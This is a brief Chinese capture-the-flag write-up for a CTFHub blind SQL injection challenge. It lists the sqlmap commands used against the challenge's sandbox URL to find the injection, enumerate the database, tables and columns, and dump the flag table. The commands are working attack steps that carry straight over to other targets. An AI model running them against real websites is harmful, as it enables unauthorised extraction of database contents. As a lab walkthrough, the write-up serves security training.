CTFHub-布尔/时间盲注-wp #(sqlmap做法)

布尔盲注/时间盲注（sqlmap做法）

• 使用

  python sqlmap.py -u "http://challenge-04d5601f15447473.sandbox.ctfhub.com:10080/?id=1" --banner
  

  扫描网站

• 发现存在漏洞

• 使用

  python sqlmap.py -u "http://challenge-04d5601f15447473.sandbox.ctfhub.com:10080/?id=1" --current-db
  

  跑出库名

• 使用

  python sqlmap.py -u "http://challenge-04d5601f15447473.sandbox.ctfhub.com:10080/?id=1" -D sqli --tables
  

  跑出表名
  

• python sqlmap.py -u "http://challenge-04d5601f15447473.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --columns
  

  跑出表中结构

• 得出所有信息后

  python sqlmap.py -u "http://challenge-04d5601f15447473.sandbox.ctfhub.com:10080/?id=1" -D sqli  -T flag -C flag --dump
  

  跑出表中数据

得出flag

时间盲注在sqlmap中做法相似